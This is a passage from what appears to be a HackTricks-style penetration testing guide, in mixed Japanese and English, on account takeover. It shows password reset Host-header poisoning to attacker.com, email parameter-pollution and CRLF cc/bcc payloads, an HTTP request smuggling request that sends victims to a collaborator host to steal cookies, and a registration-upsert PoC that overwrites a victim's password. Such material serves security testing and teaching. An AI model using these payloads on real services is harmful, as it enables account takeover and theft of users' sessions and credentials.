def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- Try racing verification: 同じ有効なOTPを2つのセッションで同時に送信します。時折、一方のセッションが検証された攻撃者アカウントになり、被害者側のフローも成功することがあります。
- Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host. 攻撃者が制御するホスト上で検証をleakまたは完了できるか確認するため、verification links上でHost header poisoningもテストしてください。

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Pre‑Hijacking Techniques (before the victim signs up)

被害者がアカウントを作成する前に攻撃者が被害者のメールに対して操作を行い、その後アクセスを取り戻すことで発生する強力な問題群があります。

Key techniques to test (adapt to the target’s flows):

- Classic–Federated Merge
- 攻撃者: 被害者のメールでclassicアカウントを登録し、パスワードを設定する
- 被害者: 後で同じメールでSSOでサインアップする
- 不適切なマージは両者がログイン状態のままになったり、攻撃者のアクセスが復活する可能性がある
- Unexpired Session Identifier
- 攻撃者: アカウントを作成して長期間有効なセッションを維持する（ログアウトしない）
- 被害者: アカウントを回復／パスワードを設定し利用を開始する
- リセットやMFA有効化後も古いセッションが有効なままかをテストする
- Trojan Identifier
- 攻撃者: 事前作成したアカウントに二次識別子を追加する（電話、追加メール、または攻撃者のIdPをリンク）
- 被害者: パスワードをリセットする；攻撃者は後でそのtrojan identifierを使ってリセット／ログインする
- Unexpired Email Change
- 攻撃者: email‑changeを攻撃者のメールへ開始し、確認を保留する
- 被害者: アカウントを回復して使用を開始する
- 攻撃者: 後で保留中のemail‑changeを完了してアカウントを奪取する
- Non‑Verifying IdP
- 攻撃者: メール所有権を検証しないIdPを使って `victim@…` を主張する
- 被害者: classicルートでサインアップする
- サービスが `email_verified` を確認したりローカル検証を行わずにメールでマージする場合がある

Practical tips

- web/mobileのバンドルからフローとエンドポイントを収集してください。classic signup、SSOのリンク、email/phoneの変更、password resetのエンドポイントを探します。
- 他のフローを検査している間にセッションを維持するための現実的な自動化を作成してください。
- SSOテストのために、テスト用のOIDC providerを立て、被害者アドレスの `email` クレームと `email_verified=false` を含むトークンを発行して、RPが未検証のIdPを信頼するかどうかを確認してください。
- パスワードリセットやメール変更の後は、以下を確認してください:
- 他のすべてのセッションとトークンが無効化されていること、
- 保留中のemail/phone変更の機能がキャンセルされていること、
- 以前にリンクされていたIdP/メール/電話が再度検証されていること。

Note: これらの手法の詳細な手法論とケーススタディは、Microsoftのpre‑hijacking研究によって文書化されています（参考文献は末尾参照）。

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Request password reset to your email address
2. Click on the password reset link
3. Don’t change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Burp Suiteでpassword resetのリクエストをインターセプトする
2. Burp Suiteで次のヘッダを追加または編集する: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. 変更したヘッダでリクエストを転送する\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _host header_ に基づいたpassword resetのURL（例: `https://attacker.com/reset-password.php?token=TOKEN`）がないか確認する

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

1. 攻撃者は自分のアカウントでログインし、パスワード変更機能に移動する必要があります。
2. Burp Suiteを起動してリクエストをインターセプトする
3. Send it to the repeater tab and edit the parameters : User ID/email
   powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

パスワードリセットトークンはランダムに生成され、毎回ユニークであるべきです。
トークンが有効期限で切れるか、常に同じかを確認してください。場合によっては生成アルゴリズムが弱く推測可能なことがあります。アルゴリズムに使用される可能性のある変数は以下の通りです。

• タイムスタンプ
• ユーザーID
• ユーザーのメールアドレス
• 名と姓
• 生年月日
• 暗号化
• 数字のみ
• 小さなトークン列（文字は [A-Z,a-z,0-9] の範囲）
• トークンの再利用
• トークンの有効期限

Leaking Password Reset Token

1. API/UIを使って特定のメール（例: test@mail.com）に対してパスワードリセットリクエストを発行する
2. サーバーのレスポンスを確認し、resetTokenをチェックする
3. そのトークンを以下のようなURLで使用する: https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

1. 被害者のユーザー名と同一だが、ユーザー名の前後に空白を挿入したユーザー名でシステムに登録する。例: "admin "
2. 悪意のあるユーザー名でパスワードリセットを要求する。
3. 自分のメールに送られてきたトークンを使って被害者のパスワードをリセットする。
4. 新しいパスワードで被害者のアカウントにログインする。

プラットフォーム CTFd はこの攻撃に対して脆弱でした。
See: CVE-2020-7245

Account Takeover Via Cross Site Scripting

1. アプリケーションまたはサブドメイン内でXSSを見つける（クッキーが親ドメインにスコープされている場合に有効）: *.domain.com
2. 現在の sessions cookie を leak する
3. そのcookieを使ってユーザーとして認証する

Account Takeover Via HTTP Request Smuggling

1. HTTP Request Smuggling のタイプ (CL, TE, CL.TE) を検出するために smuggler を使用する
   powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
2. 次のデータで POST / HTTP/1.1 を上書きするリクエストを作成する:
   GET http://something.burpcollaborator.net HTTP/1.1 X: — 目的は被害者を burpcollab へ open redirect させ、クッキーを盗むこと
3. Final request could look like the following

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone によるこのバグの悪用報告\

• https://hackerone.com/reports/737140\
• https://hackerone.com/reports/771666

アカウント乗っ取り via CSRF

1. CSRF用のペイロードを作成する。例: “HTML form with auto submit for a password change”
2. ペイロードを送信する

アカウント乗っ取り via JWT

JSON Web Token がユーザ認証に使われている可能性がある。

• JWT の User ID / Email を別のものに書き換える
• 弱い JWT 署名がないか確認する

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

提供された email が既に存在する場合、一部の signup handlers は upsert を実行する。もし endpoint が email と password を含む最小限の body を受け入れ、所有権検証を強制しない場合、被害者の email を送信すると認証前にパスワードが上書きされる。

• 発見: バンドルされた JS（またはモバイルアプリのトラフィック）から endpoint 名を収集し、次に ffuf/dirsearch を使って /parents/application/v4/admin/FUZZ のようなベースパスを fuzz する。
• 手法のヒント: GET が “Only POST request is allowed.” のようなメッセージを返す場合、それは正しい HTTP verb を示しており、JSON body が期待されていることが多い。
• 実際に確認された最小限の body:

{"email":"victim@example.com","password":"New@12345"}

PoC の例:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

影響: Full Account Takeover (ATO) — reset token、OTP、または email verification を一切必要としない。

参考

• 重要な Password Reset Bug を見つけた方法 (Registration upsert ATO)
• Microsoft MSRC – Pre‑hijacking attacks on web user accounts (2022年5月)
• https://salmonsec.com/cheatsheet/account_takeover
• Hey there! You are using WhatsApp: セキュリティとプライバシーのための30億アカウント列挙 (NDSS 2026 paper & dataset)

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！
• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。